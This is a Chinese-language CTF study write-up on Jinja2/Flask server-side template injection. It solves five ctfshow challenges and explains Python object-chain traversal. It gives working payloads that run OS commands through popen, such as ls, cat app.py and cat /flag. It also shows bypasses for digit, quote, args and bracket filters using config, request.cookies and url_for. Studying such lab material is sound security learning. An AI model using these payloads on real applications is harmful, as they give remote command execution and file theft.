CTF模板注入入门学习
{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}
对于知识框架的了解,站在巨人的肩膀梭哈大佬文章,很全很nice:
https://xz.aliyun.com/t/3679#toc-8
先大概过了遍,知道ssti是啥东西了,还是迷迷糊糊的,打算直接上手题目分析吧,在实践中学习。
ctfshow ssti
题目一:
盲猜name为注入点,直接打上测试表达式,执行成功存在注入点。
尝试一下:{
{7*'7'}}
回显是7777777
,判断是Jinja2
模板(如果回显是49则为Twig
模板)
Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作
常见的继承关系的方法有以下三种:
base:对象的一个基类,一般情况下是 object
mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
subclasses():继承此对象的子类,返回一个列表
__init__:
所有自带类都包含init方法。是服务下面这个函数的
__globals__:
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
整体攻击思路为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量
具体来说:变量是name
- 随便找一个内置类对象用
__class__
拿到他所对应的类 - 用
__bases__
拿到基类(<class 'object'>
),返回的是元组,获取元组元素要指定key - 用
__subclasses__()
拿到子类列表 - 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
''.__class__.__mro__[-1].__subclasses__()
都可以对object对象进行子类的遍历,os._wrap_close
类里有popen,我们可以拿来进行命令执行
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read()}}
拿到flag
题目二:
我们继续上题的思路,发现到看子类列表这一步还是可以执行的,但是下一步我想用os._wrap_close的
popen用不了,考虑有过滤,先试一下数字
经过测试发现23这两个数字被过滤了
对于数字绕过可以使用使用<class 'flask.config.Config'>类来绕过。
{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}拿到flag
题目三:
经过测试,当出现单引号时,报错,怀疑是过滤了单引号,可以再bp中再fuzz一下还过滤了啥,参考了这篇文章在bp中的设置
https://blog.csdn.net/qq_41209264/article/details/120702716
单引号双引号都被过滤了
有一种新的姿势是构造请求参数
{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}这是上一题的paylaod,构造参数如下
{{config.__class__.__init__.__globals__[request.args.arg1].popen(request.args.arg2).read()}}&arg1=os&arg2=ls
最终在根目录拿到flag
题目四:
按照上一题的fuzz方法,发现仍然是过滤了单引号和双引号,同样用上面的payload,发现不行,可能对payload中的请求进行了过滤,果然经过测试对ags进行了过滤
把请求参数放在cookie里,构造请求包如下
payload为{{config.__class__.__init__.__globals__[request.cookies.a].popen(request.cookies.b).read()}}
在根目录拿到flag
题目五:
对[]进行了过滤,用到url_for这个类,在调用os方法时候不用像config类中调用时必须用的[]:config.__class__.__init__.__globals__['os']
?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag